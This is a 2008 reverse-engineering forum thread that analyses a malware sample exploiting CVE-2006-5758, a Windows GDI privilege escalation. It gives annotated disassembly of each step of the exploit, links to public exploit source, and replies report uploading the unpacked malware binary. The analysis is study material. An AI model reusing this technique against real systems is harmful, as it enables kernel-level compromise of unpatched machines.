Log in

View Full Version : CVE-2006-5758: better late than ever


ZaiRoN
November 25th, 2008, 11:17
I put my hands on a malware linked from one of the online malware repositories (md5: 57127815d6864a495151e49c7bf7d192). From a quick glance at it I had the impression it’s an interesting malware to play with. It’s recognizable by almost all the antivirus products out there, and to have an idea about what it does I read some technical descriptions from some random antivirus pages.
In this post I won’t describe what the malicious file does, but I’ll spend few words on a specific behaviour only: CVE-2006-5758. I didn’t check all the sites, but seems like no one is reporting information about the exploit used inside this malware. It tries to exploit a GDI Local Elevation of Privilege vulnerability, patched on April 2007 (MS07-017); yes, more than one year and a half old. From what I have seen there’s only one article on the web talking about this malicious file, it’s available here http://cyberinsecure.com/malware-uses-gdi-local-elevation-of-privilege-vulnerability-to-install-untraceable-rootkit/ .
The article doesn’t refer to a specific malware, and I don’t know if I have the same file, but the quick description reveals almost the same characteristics of the file I’m working on:
After remapping the memory, the malware will initialize a CPalette object. It will then search for the palette object in the shared kernel memory structure. Since the memory is now writable, it can be altered to include a pointer to a special function that will remove any existing SST hooks. Finally, a call to GetNearestPaletteIndex will indirectly cause the function to be executed. Afterwards, the palette object is restored leaving no trace of the attack.“.
I’ll use this comment to guide you through the post.

I wasn’t able to identify the packer used to protect the malware, it’s not such a problem indeed because the exe file is debug-able and it’s not hard to step through the code. You can try rebuilding the file, but in general I prefer to work on untouched files so my best choice it’s a simple dump. After that, in order to view all runtime retrieved functions I use my Ida plugin named Reveal Imports. In this way you can easily navigate through the disasmed file. Looking at the revealed imports I noticed some weird functions:


http://zairon.files.wordpress.com/2008/11/api.jpg?w=280&h=70


Quite unusual functions for a malware. The first thing to do is to check if they are used or not. These functions are called by the malware, and now I have to understand why. From my non professional experience with malwares in general, I know that most of the time the unusual code you see inside a malware comes from a source code available online. Google is a good friend, and a simple search reveals something interesting at http://www.milw0rm.com/exploits/3755 .
It’s the source code of the exploit that is used inside the malware (not the source of the malware!). I think it’s quite useful for newbies to disasm a routine having an eye on the source code, this malware represents a good exercize.


After remapping the memory…
The *exploit* routine starts at 40293E, and there’s an interesting loop at the beginning of the routine:
Code:
40296C search_right_handle:
40296C cmp [ebp+hFileMappingObject], 0FFFFh ; hFileMappingObject is initially 0
402973 jnb short loc_4029C1
402975 xor eax, eax
402977 mov [ebp+var_28], eax
40297A push eax ; dwNumberOfBytesToMap
40297B push eax ; dwFileOffsetLow
40297C push eax ; dwFileOffsetHigh
40297D push FILE_MAP_ALL_ACCESS ; dwDesiredAccess
402982 push [ebp+hFileMappingObject] ; hFileMappingObject
402985 call ds:MapViewOfFile
40298B mov [ebp+lpBaseAddress], eax
40298E test eax, eax
402990 jz short MapView_fails
402992 lea ecx, [ebp+var_2C]
402995 push 0 ; ResultLength
402997 push 10h ; SectionInformationLength
402999 push ecx ; SectionInformation
40299A push 0 ; SectionInformationClass
40299C push [ebp+hFileMappingObject] ; SectionHandle
40299F call NtQuerySection ; Retrieves information about the section object
4029A5 cmp [ebp+var_28], SEC_COMMIT
4029AC jz short section_found
4029AE push [ebp+lpBaseAddress] ; lpBaseAddress
4029B1 call ds:UnmapViewOfFile ; Wrong handle, unmap!
4029B7 xor eax, eax
4029B9 mov [ebp+lpBaseAddress], eax
4029BC
4029BC MapView_fails:
4029BC inc [ebp+hFileMappingObject] ; Increments hFileMappingObject
4029BF jmp short search_right_handle

It repeatedly calls MapViewOfFile function using handle from 0 to 0xFFFF. If it finds the right handle it goes on with the rest of the code. As you can see from the snippet the malware restores the state of a wrong mapped view calling UnMapViewOfFile. That’s because it needs one and only one specific kind of section. It’s the first important step to complete.
On my XP machine the malware locates the right mapped view at 0xC30000, if you look at Ollydbg’s “Memory map” window you’ll see it only after MapViewOfFile was called; you should know why.

…the malware will initialize a CPalette object…
Code:
4029CC call RtlAllocateHeap_bridge ; Allocates memory space
4029D1 test eax, eax
4029D3 jz loc_402AA4
4029D9 mov [ebp+var_14], eax
4029DC mov word ptr [eax+2], 1 ; palNumEntries
4029E2 mov word ptr [eax], 300h ; palVersion
4029E7 push eax ; Logical palette
4029E8 call CreatePalette ; Creates a logical palette

Pretty easy to understand.


…It will then search for the palette object in the shared memory structure…
The mapped view is then used by the malware inside a new loop. The malware looks for a PGDI_TABLE_ENTRY through the new memory space:
Code:
402A04 search_object:
402A04 mov eax, [ebp+lpBaseAddress]
402A07 add eax, [ebp+var_24]
402A0A cmp [ebp+GDI_Structure], eax ; Is it inside the mapped memory?
402A0D jnb short loc_402A37
402A0F mov eax, [ebp+GDI_Structure]
402A12 xor ecx, ecx
402A14 mov cx, [eax+4]
402A18 mov edx, [ebp+Pid] ; pGdiEntry->ProcessID
402A1B cmp ecx, edx
402A1D jnz short try_next_structure
402A1F xor ecx, ecx
402A21 mov cx, [eax+0Ah] ; pGdiEntry->nType
402A25 cmp ecx, 8 ; PAL_TYPE
402A28 jnz short try_next_structure
402A2A mov eax, [eax] ; pGdiEntry->pKernelInfo
402A2C mov [ebp+original_KernelInfo], eax ; Saves the original value
402A2F jmp short loc_402A37
402A31 try_next_structure:
402A31 add [ebp+GDI_Structure], 10h ; Moves on the next structure to check
402A35 jmp short search_object

It saves the original value of KernleInfo field which contains a pointer to something stored at ring0. You can imagine why it’s saving that value.. it will replace the address with something else for sure.


…it can be altered to include a pointer to a special function…
Code:
402A3E call _RtlAllocateHeap_bridge
...
402A4E push [ebp+hO]
402A51 pop dword ptr [eax] ; Stores handle obtained calling CreatePalette
402A53 mov dword ptr [eax+14h], 1
402A5A push [ebp+hook_hidden_function] ; push 402AC0
402A5D pop dword ptr [eax+3Ch] ; Stores the real function to call
...
402A6B mov eax, [ebp+GDI_Structure] ; Address of the original structure to replace
402A6E push [ebp+fake_structure] ; Push the fake structure address
402A71 pop dword ptr [eax] ; To tamper!

It replaces the original data with something else. It’s more or less always the same trick, you exchange the old value with a new preferred one!


…Finally, a call to GetNearestPaletteIndex will indirectly cause the function to be executed…
The next call to GetNearestPaletteIndex will call what I have named hook_hidden_function, the hidden dangerous routine. To understand how the trick works you have to look inside win32k.sys, here’s part of GetNearestPaletteIndex:
Code:
00402A73 push 0
00402A75 push [ebp+hO]
00402A78 call GetNearestPaletteIndex
...
BF94B4AF mov esi, [ebp+8] ; esi -> fake structure created between 402A4E and 402A6E
...
BF94B4E0 call dword ptr [esi+3Ch] ; esi+3C points to hook_hidden_function!!!

The malware will call the hidden function, you ignore it until you’ll realize that the machine is compromised. Nice trick indeed.
The malware seems to have some more interesting features, I hope to write something else about it in the next days.

evaluator
November 25th, 2008, 12:19
hi!

this 57127815d6864a495151e49c7bf7d192 crashes on XP sp0, probably again code expects fixed bytes in K32..
so does it run only on SP1?
@4012f4 push edi = 3F8C74 < SEH not exists

evaluator
November 25th, 2008, 12:41
ok i guess: SEh= 401342!
now u can GUESS > why unpacking is GREAT..

>>but in general I prefer to work on untouched files

PS:
to avoid 2 start-crashes- GOOD-EIP for this EXE is 00401369

evaluator
November 26th, 2008, 01:02
very good programming in this malware, enjoed ~
bad is : guys trash their knowledge for bad

one asm-optimize-heck was there:
on CreateFile return:
INC EAX ; for -1 check
TEST EAX EAX << ops! not need

my gisft: so initial EXE is conteiner, & main EXE i uploaded here